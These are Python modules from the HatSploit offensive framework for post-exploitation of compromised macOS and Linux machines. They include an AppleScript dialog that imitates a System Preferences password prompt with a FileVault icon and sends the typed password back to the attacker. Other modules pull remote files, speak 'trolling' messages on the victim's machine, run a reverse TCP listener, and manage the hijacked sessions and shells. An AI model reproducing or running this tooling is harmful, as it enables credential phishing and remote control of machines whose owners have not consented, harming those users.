def __init__(self): self.sessions = sessions() self.local_storage = local_storage() self.badges = badges() self.tcp = tcp() self.http = http() self.servers = dict()
class HatSploitModule(HatSploitModule): sessions = sessions() details = { 'Name': "macOS Membrane Gather Prompt", 'Module': "post/macos/membrane/gather/prompt", 'Authors': ['enty8080'], 'Description': "Prompt user to type password.", 'Dependencies': [''], 'Comments': [''], 'Risk': "high" } options = { 'SESSION': { 'Description': "Session to run on.", 'Value': 0, 'Type': "integer", 'Required': True } } def run(self): session = self.sessions.get_session( "macos/membrane", self.parser.parse_options(self.options)) if session: self.badges.output_process( "Waiting for prompt window to appear...") payload = """ tell application "Finder" activate set myprompt to "Type your password to allow System Preferences to make changes" set ans to "Cancel" repeat try set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "FileVaultIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle" set ans to button returned of d_returns set mypass to text returned of d_returns if mypass > "" then exit repeat end try end repeat try do shell script "echo " & quoted form of mypass end try end tell """ self.badges.output_process("Waiting for user to type password...") status, output = session.send_command("osascript", payload, None) if not status: self.badges.output_error( "Failed to prompt user to type password!") else: self.badges.output_information("User Entered: " + output)
class HatSploitModule(HatSploitModule): sessions = sessions() details = { 'Name': "macOS Membrane Transfer Download", 'Module': "post/macos/membrane/transfer/download", 'Authors': ['enty8080'], 'Description': "Download remote file.", 'Dependencies': [''], 'Comments': [''], 'Risk': "high" } options = { 'LPATH': { 'Description': "Local path.", 'Value': "/tmp", 'Type': None, 'Required': True }, 'RPATH': { 'Description': "Remote path.", 'Value': None, 'Type': None, 'Required': True }, 'SESSION': { 'Description': "Session to run on.", 'Value': 0, 'Type': "integer", 'Required': True } } def run(self): lpath, rpath, session = self.parser.parse_options(self.options) session = self.sessions.get_session("macos/membrane", session) if session: session.download(rpath, lpath)
class HatSploitModule(HatSploitModule): sessions = sessions() details = { 'Name': "macOS Membrane Gather Volume", 'Module': "post/macos/membrane/gather/getvol", 'Authors': [ 'enty8080' ], 'Description': "Get device volume level.", 'Dependencies': [ '' ], 'Comments': [ '' ], 'Risk': "medium" } options = { 'SESSION': { 'Description': "Session to run on.", 'Value': 0, 'Type': "integer", 'Required': True } } def run(self): session = self.sessions.get_session("macos/membrane", self.parser.parse_options(self.options)) if session: self.badges.output_process("Getting device volume level...") payload = "output volume of (get volume settings)" status, output = session.send_command("osascript", payload) if not status: self.badges.output_error("Failed to get device volume level!") else: self.badges.output_information("Volume Level: " + output)
class HatSploitModule(HatSploitModule): sessions = sessions() details = { 'Name': "macOS Membrane Trolling Say", 'Module': "post/macos/membrane/trolling/say", 'Authors': ['enty8080'], 'Description': "Say text message on device.", 'Dependencies': [''], 'Comments': [''], 'Risk': "low" } options = { 'MESSAGE': { 'Description': "Message to say.", 'Value': "Hello, membrane!", 'Type': None, 'Required': True }, 'SESSION': { 'Description': "Session to run on.", 'Value': 0, 'Type': "integer", 'Required': True } } def run(self): message, session = self.parser.parse_options(self.options) session = self.sessions.get_session("macos/membrane", session) if session: self.badges.output_process("Sending message to device...") status, output = session.send_command("say", message) if not status: self.badges.output_error("Failed to say message!")
class HatSploitModule(HatSploitModule): sessions = sessions() tcp = tcp() listener = listener() session = None id_number = 0 details = { 'Name': "Linux Membrane Reverse TCP Stager", 'Module': "exploit/linux/stager/membrane_reverse_tcp", 'Authors': ['enty8080'], 'Description': "Linux reverse TCP shell with full remote functionality.", 'Dependencies': [''], 'Comments': [''], 'Risk': "high" } options = { 'LHOST': { 'Description': "Local host.", 'Value': tcp.get_local_host(), 'Type': "ip", 'Required': True }, 'LPORT': { 'Description': "Local port.", 'Value': 8888, 'Type': "port", 'Required': True }, 'FOREVER': { 'Description': "Start listener forever.", 'Value': "no", 'Type': "boolean", 'Required': False } } def add_session(self, session, local_port, address): self.sessions.add_session("linux/membrane", self.id_number, self.details['Module'], address, local_port, session) self.badges.output_success("Session " + str(self.id_number) + " opened!") self.id_number += 1 def start_listener(self, forever, local_host, local_port): self.badges.output_process("Starting listener on port " + local_port + "...") try: server = self.listener.start_listener(local_host, local_port) except Exception: return if forever.lower() in ['yes', 'y']: while True: try: session, address = self.listener.listen( local_host, local_port, server) except Exception: return if session: self.add_session(session, local_port, address) else: try: session, address = self.listener.listen( local_host, local_port, server) except Exception: return if session: self.add_session(session, local_port, address) def run(self): local_host, local_port, forever = self.parser.parse_options( self.options) self.start_listener(forever, local_host, local_port)
class HatSploitCommand(HatSploitCommand): sessions = sessions() local_storage = local_storage() usage = "" usage += "sessions <option> [arguments]\n\n" usage += " -l, --list [session_property] List all opened sessions\n" usage += " [for specified session property].\n" usage += " -i, --interact <session_property> <session_id> Interact with specified session.\n" usage += " -p, --pseudo <session_property> <session_id> Spawn Pseudo shell on specified session.\n" usage += " -c, --close <session_property> <session_id> Close specified session.\n" details = { 'Category': "sessions", 'Name': "sessions", 'Description': "Manage opened sessions.", 'Usage': usage, 'MinArgs': 1 } def run(self, argc, argv): if argv[0] in ['-l', '--list']: sessions = self.local_storage.get("sessions") if argc < 2: if sessions: for session_property in sessions.keys(): sessions_data = list() headers = ("ID", "Module", "Host", "Port") for session_id in sessions[session_property].keys(): module = sessions[session_property][session_id][ 'module'] host = sessions[session_property][session_id][ 'host'] port = sessions[session_property][session_id][ 'port'] sessions_data.append( (session_id, module, host, port)) self.badges.output_empty("") self.tables.print_table( "Opened Sessions: " + session_property, headers, *sessions_data) self.badges.output_empty("") else: self.badges.output_warning("No opened sessions available.") else: if argv[1] in sessions.keys(): session_property = argv[1] sessions_data = list() headers = ("ID", "Module", "Host", "Port") for session_id in sessions[session_property].keys(): module = sessions[session_property][session_id][ 'module'] host = sessions[session_property][session_id]['host'] port = sessions[session_property][session_id]['port'] sessions_data.append((session_id, module, host, port)) self.badges.output_empty("") self.tables.print_table( "Opened Sessions: " + session_property, headers, *sessions_data) self.badges.output_empty("") else: self.badges.output_error("Invalid session property given!") elif argv[0] in ['-c', '--close']: if argc < 3: self.badges.output_usage(self.details['Usage']) else: self.sessions.close_session(argv[1], argv[2]) elif argv[0] in ['-p', '--pseudo']: if argc < 3: self.badges.output_usage(self.details['Usage']) else: self.sessions.spawn_pseudo_shell(argv[1], argv[2]) elif argv[0] in ['-i', '--interact']: if argc < 3: self.badges.output_usage(self.details['Usage']) else: self.sessions.spawn_interactive_connection(argv[1], argv[2]) else: self.badges.output_usage(self.details['Usage'])